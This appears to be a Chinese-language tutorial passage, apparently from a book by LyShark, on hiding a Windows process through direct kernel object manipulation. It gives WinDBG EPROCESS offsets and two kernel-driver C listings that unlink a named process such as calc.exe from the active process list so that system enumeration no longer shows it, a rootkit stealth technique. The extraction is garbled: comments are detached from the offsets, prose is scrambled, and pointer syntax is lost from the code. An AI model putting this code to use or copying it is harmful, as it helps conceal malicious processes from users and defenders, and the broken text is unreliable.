# DKOM 就是直接内核对象操作技术，我们所有的操作都会被系统记录在内存中，而驱动进程隐藏的做旧就是操作进程的EPROCESS结构与线程的ETHREAD结构、链表，要实现进程的隐藏我们只需要将某个进程中的信息，在系统EPROCESS链表中摘除即可实现进程隐藏。

DKOM 隐藏进程的本质是操作EPROCESS结构体，EPROCESS结构体中包含了系统中的所有进程相关信息，还有很多指向其他结构的指针，首先我们可以通过WinDBG在内核调试模式下输入 dt\_eprocess 即可查看到当前的EPROCESS结构体的偏移信息，结构较多，但常用的就下面这几个。

// 进程

: Uint4B

// 指向

: Ptr64 \_PEB

// 32位进程链表

// 活动的线程

// 镜像路径的

: Ptr64 Void

: Uint4B

: Uint4B

构

+0x320 Wow64Process

+0x328 ActiveThreads

+0x32c ImagePathHash

Hash值

+0x338 Peb PEB结构的指针

+0x440 Flags

标志

// 创建时间

// 退出时间

// 进程的PID

// 活动进程链表

// 指向句柄表的指针

// 会话列表

// 进程的名称

// 进程中的线程链表结

kd> dt\_eprocess

nt!\_EPROCESS

+0x000 Pcb : \_KPROCESS

+0x160 ProcessLock : \_EX\_PUSH\_LOCK

+0x168 CreateTime : \_LARGE\_INTEGER

+0x170 ExitTime : \_LARGE\_INTEGER

+0x180 UniqueProcessId : Ptr64 Void

+0x188 ActiveProcessLinks : \_LIST\_ENTRY

+0x200 ObjectTable : Ptr64 \_HANDLE\_TABLE

+0x2d8 Session : Ptr64 Void

+0x2e0 ImageFileName : [15] UChar

+0x308 ThreadListHead : \_LIST\_ENTRY

要实现进程的隐藏我们需要关注结构中的连接成了双向链表，我们可以使用

ActiveProcessLinks

ZwQuerySystemInformation

该指针把每个进程的EPROCESS结构体这个函数来遍历出所有的进程信息，

要实现进程的隐藏，只需要将某个进程的EPROCESS从结构体中摘除，那么通过

ZwQuerySystemInformation 函数就无法遍历出被摘链的进程了，从而实现了进程的隐藏。

在实现进程隐藏之前，我们需要通过代码的方式获取到当前系统中所有进程的EPROCESS信息，我们可以通过 PsLookupProcessByProcessId 函数获取到指定进程的ID，然后通过

\_stricmp

PsGetProcessImageFileName 函数取出结构名称，并通过序。

# 判断是否是我们想要隐藏的程



#include <ntifs.h>

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS Process);

NTKERNELAPI CHAR PsGetProcessImageFileName(PEPROCESS Process);

VOID UnDriver(PDRIVER\_OBJECT driver)

{

DbgPrint(("驱动程序卸载成功! \n"));

}



PEPROCESS GetProcessObjectByName(char name)

{

SIZE\_T temp;

for (temp = 100; temp<10000; temp += 4)

{

NTSTATUS status; PEPROCESS ep;

status = PsLookupProcessByProcessId((HANDLE)temp, &ep); if (NT\_SUCCESS(status))

{

char pn = PsGetProcessImageFileName(ep); if (\_stricmp(pn, name) == 0)

return ep;

}

}

return NULL;

}

NTSTATUS DriverEntry(PDRIVER\_OBJECT DriverObject, PUNICODE\_STRING RegistryPath)

{

PEPROCESS PRoc = NULL;

PRoc = GetProcessObjectByName("calc.exe"); DriverObject->DriverUnload = UnDriver; return STATUS\_SUCCESS;

}

然后得到句柄以后直接摘除进程的结构即可实现隐藏，这种摘除方式比较草率，如果关闭驱动后没有手 工还原的话可能会导致蓝屏，该方法只用于在Win7上使用,Win10没试过。



#include <ntifs.h>

#define PROCESS\_ACTIVE\_PROCESS\_LINKS\_OFFSET 0x188

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS Process);

NTKERNELAPI CHAR PsGetProcessImageFileName(PEPROCESS Process);

VOID UnDriver(PDRIVER\_OBJECT driver)

{

DbgPrint(("驱动程序卸载成功! \n"));

}

PEPROCESS GetProcessObjectByName(char name)

{

SIZE\_T temp;

for (temp = 100; temp<10000; temp += 4)

{

NTSTATUS status; PEPROCESS ep;

status = PsLookupProcessByProcessId((HANDLE)temp, &ep); if (NT\_SUCCESS(status))

{

char pn = PsGetProcessImageFileName(ep); if (\_stricmp(pn, name) == 0)

return ep;

}

}

return NULL;

}

VOID RemoveListEntry(PLIST\_ENTRY ListEntry)

{

KIRQL OldIrql;

OldIrql = KeRaiseIrqlToDpcLevel();

if (ListEntry->Flink != ListEntry &&ListEntry->Blink != ListEntry &&ListEntry->Blink->Flink == ListEntry &&ListEntry->Flink->Blink == ListEntry)

{

ListEntry->Flink->Blink = ListEntry->Blink; ListEntry->Blink->Flink = ListEntry->Flink; ListEntry->Flink = ListEntry;

ListEntry->Blink = ListEntry;

}

KeLowerIrql(OldIrql);

}

// 隐藏指定进程(会蓝屏)

BOOLEAN HideProcessB(PUCHAR pszHideProcessName)

{

PEPROCESS pFirstEProcess = NULL, pEProcess = NULL; ULONG ulOffset = 0;

HANDLE hProcessId = NULL; PUCHAR pszProcessName = NULL;

// 获取相应偏移大小

ulOffset = PROCESS\_ACTIVE\_PROCESS\_LINKS\_OFFSET;

if (0 == ulOffset)

{

return FALSE;

}

// 获取当前进程结构对象

pFirstEProcess = PsGetCurrentProcess(); pEProcess = pFirstEProcess;

// 开始遍历枚举进程

do

{

// 从 EPROCESS 获取进程 PID

hProcessId = PsGetProcessId(pEProcess);

// 从 EPROCESS 获取进程名称

pszProcessName = PsGetProcessImageFileName(pEProcess);

// 隐藏指定进程

if (0 == \_stricmp(pszProcessName, pszHideProcessName))

{

// 摘链

RemoveEntryList((PLIST\_ENTRY)((PUCHAR)pEProcess + ulOffset)); break;

}

// 根据偏移计算下一个进程的 EPROCESS

pEProcess = (PEPROCESS)((PUCHAR)(((PLIST\_ENTRY)((PUCHAR)pEProcess +

ulOffset))->Flink) - ulOffset);

} while (pFirstEProcess != pEProcess); return TRUE;

}

NTSTATUS DriverEntry(PDRIVER\_OBJECT DriverObject, PUNICODE\_STRING RegistryPath)

{

PEPROCESS PRoc = NULL;

PRoc = GetProcessObjectByName("calc.exe");

// 摘除结构中的calc.exe 实现驱动隐藏计算器

RemoveListEntry((PLIST\_ENTRY)((ULONG64)PRoc + PROCESS\_ACTIVE\_PROCESS\_LINKS\_OFFSET));

DriverObject->DriverUnload = UnDriver; return STATUS\_SUCCESS;

}

# 没什么难度，就是摘链，而这种断链隐藏，不仅操作不好会蓝屏且很容易被发现，只是能在任务管理器 看不到而已。

本书作者： 王瑞 (LyShark)

作者邮箱： m [e@lyshark.com](mailto:e@lyshark.com)

作者博客： h ttps://lyshark.cnblogs.com

团队首页： w ww.lyshark.com